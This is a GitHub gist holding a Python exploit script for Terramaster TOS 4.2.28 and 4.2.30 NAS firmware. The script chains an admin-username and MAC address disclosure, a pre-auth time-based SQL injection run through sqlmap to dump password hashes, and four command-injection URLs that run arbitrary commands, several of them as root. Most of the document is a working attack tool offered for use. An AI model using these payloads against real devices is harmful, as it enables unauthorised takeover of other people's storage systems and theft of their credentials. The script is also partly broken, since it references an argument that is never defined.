Skip to content

Instantly share code, notes, and snippets.

@thatsn0tmysite
Last active March 22, 2022 00:44
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save thatsn0tmysite/fca704a47248722590ccd9cc6304cb75 to your computer and use it in GitHub Desktop.
Save thatsn0tmysite/fca704a47248722590ccd9cc6304cb75 to your computer and use it in GitHub Desktop.
SQLi and RCEs for Terramaster 4.2.28 and 4.2.30
#!/bin/env python3
#Title: Terramaster TOS Time based SQLi & Multiple RCEs
#Description: time based SQLinjection pre-auth and multiple authenticated RCEs.
#Author: n0tme (thatsn0tmysite)
#TOS version: 4.2.28-2201201720, 4.2.30-2203011629
#Full writeup: https://thatsn0tmy.site/posts/2022/03/all-you-can-pwn-buffet/
from pydoc import describe
import requests
import shutil, os, time
from argparse import ArgumentParser
import urllib3
import base64, hashlib, re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
USER=""
PASS=""
B64USER=""
TARGET=""
MAC_ADDRESS=""
RE=re.compile(r'(?:[0-9a-fA-F]:?){12}')
def tos_encrypt_str(toencrypt):
key = MAC_ADDRESS[6:]
return hashlib.md5(f"{key}{toencrypt}".encode("utf8")).hexdigest()
def get_session(use_proxy):
s=requests.Session()
if use_proxy is not None:
s.proxies = {"http":use_proxy, "https": use_proxy}
return s
def user_session(s, username, password_hash):
s.cookies.clear()
cookies = {"kod_name":username, "kod_token":tos_encrypt_str(password_hash), "tos_token":None}
timestamp=str(int(time.time()))
s.headers.update({"signature": tos_encrypt_str(timestamp), "timestamp": timestamp})
s.headers.update({"User-device": "TNAS"})
s.headers.update({"User-agent": "TNAS"})
for name,value in cookies.items():
s.cookies[name] = value
def exploit(s, username, password_hash, rce, command):
user_session(s, USER, password_hash)
s.headers.update({"authorization": hashlib.sha256(password_hash.encode("ascii")).hexdigest()})
if rce == 2:
s.headers.update({"authorization": password_hash})
print("[*] Session info:")
for k,v in s.headers.items():
print("\t"+k+": "+v)
print("\t"+"Cookie: ", end="")
for k,v in s.cookies.items():
print(k+": "+v+"; ",end="")
print()
print("[*] Logging in... ",end="")
r=s.get(f"{TARGET}/module/api.php?mobile/login&username={USER}&password={PASS}")
result=r.json()["msg"]
print(result)
if result != "login successful":
print("[!] Login failed.")
exit(1)
#RCEs
RCEs = [
#HASH is not really required for the first 2, but i was too lazy...
f"{TARGET}/tos/index.php?explorer/serverDownload&type=download&save_path=%5C&url=';{command};'&_", #NEEDS USER CREDS -> runs as user
f"{TARGET}/include/ajax/ajaxdata.php?mysqlfunction=1&password=%7C%7C%20{command}", #NEEDS ADMIN CREDS -> runs as root
#REQUIRE MAC ADDRESS AND CREDENTIALS
f"{TARGET}/module/api.php?wap/serverstatus&servername=';{command};'", #NEEDS USER CREDS, ADMIN HASH -> runs as root
f"{TARGET}/module/api.php?mobile/stopTranscode&md5name=';{command};'" #NEEDS USER CREDS, USER HASH -> runs as root
]
print(f"[~] Using: {RCEs[rce]}")
r=s.get(RCEs[rce])
print(r.text)
if __name__ == "__main__":
meow=" ^ ^\n (-.-) ...copycats...\n~( ||)"
parser = ArgumentParser()
parser.add_argument("target", help="Target to exploit")
parser.add_argument("-c", "--cmd", action="store", default="id", help="Command to run")
parser.add_argument("-u", "--username", action="store", default=None, help="Username to log in with")
parser.add_argument("-p", "--password", action="store", default=None, help="Password to log in with")
parser.add_argument("-g","--get-hash", action="store_true", default=None, help="Retrieve hash and quit (if no --username specified, attempts to grab USER's hash)")
parser.add_argument("-H", "--hash", action="store", default=None, help="Retrieved hash")
parser.add_argument("--rce", action="store", type=int, default=1, help="RCE to use (--list for info)")
parser.add_argument("--list", action="store_true", default=False, help="List available RCEs and info")
parser.add_argument("--proxy", action="store", default=None, help="Proxy address to use (e.g. http://localhost:8080)")
parser.add_argument("--sqlmap-path", action="store", default=shutil.which("sqlmap"), help="Path to sqlmap")
parser.add_argument("--sqlmap-time", action="store", type=int, default=1, help="Passed as --time-sec to sqlmap")
args=parser.parse_args()
if args.list:
print("[-] RCEs:")
print("\t0: Needs user credentials only (* +user hash). Runs as user.")
print("\t1: Needs admin credentials only (* +admin hash). Runs as root.")
print("\t2: Needs user credentials AND admin hash. Runs as root.")
print("\t3: Needs user credentials AND user hash. Runs as root. WILL BREAK THINGS.")
print("\n* Even if 0 and 1 do not really require a hash, provide a valid one as otherwise the login fails, lazy me.")
exit(0)
if args.sqlmap_path is None and (args.users_table is None or args.credentials is None):
print("[!] Could not find sqlmap on the system, to install it: 'pip install sqlmap'")
exit(1)
s = get_session(args.proxy)
TARGET = args.target
if args.username is None:
#ADMIN USER INFO DISCLOSURE
USER = s.get(f"{TARGET}/v1/SessionEvents/update").json()["data"]["USER"]
B64USER = str(base64.b64encode(USER.encode("utf8")), encoding="utf8")
print(f"[*] Found ADMIN user: {USER} ({B64USER})")
else:
USER = args.username
B64USER = str(base64.b64encode(USER.encode("utf8")), encoding="utf8")
print(f"[*] Using provided USER: {USER} ({B64USER})")
if args.get_hash:
#Too lazy to manually implement this, so I'll just use sqlmap
#SQL Injection (Double Blind)
cmd=f"{args.sqlmap_path} -u \"{args.target}/tos/index.php?user/loginSubmit&name=sqli&password=n0t&platform=me\" --batch --dbms=sqlite --level=5 --risk=2 --technique=t -p name -T user_table -C password --dump --time-sec {args.sqlmap_time} --where \"username='{B64USER}'\""
print(f"[.] Launching sqlmap (may take a while): {cmd}")
os.system(cmd)
print("[.] If dump was successfull re-run exploit with -H or --hash")
print("[.] Check for hash in STDOUT or ~/.local/share/sqlmap/output/<TARGET>/dump/SQLite_masterdb/user_table.csv")
print("[.] Here, hava a cat judging you:")
print(meow)
exit(0)
#MAC INFO DISCLOSURE
try:
MAC_ADDRESS = RE.findall(s.get(f"{TARGET}/m1.php").text)[0].replace(":","")
except IndexError:
try:
MAC_ADDRESS = RE.findall(s.get(f"{TARGET}/m2.php").text)[0].replace(":","")
except IndexError:
print("[!] MAC not found.")
exit(1)
print(f"[*] Found MAC: {MAC_ADDRESS}")
PASS = args.password
HASH = args.hash
if PASS == "":
print("[!] User password is required to launch exploit, use --password.")
exit(1)
if HASH == "":
print("[!] User hash is required to launch exploit, use -g or --get-hash to get a valid hash.")
exit(1)
print(f"[*] Using password: {PASS}")
print(f"[*] Using hash: {args.hash}")
exploit(s, USER, args.hash, args.rce, args.cmd)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment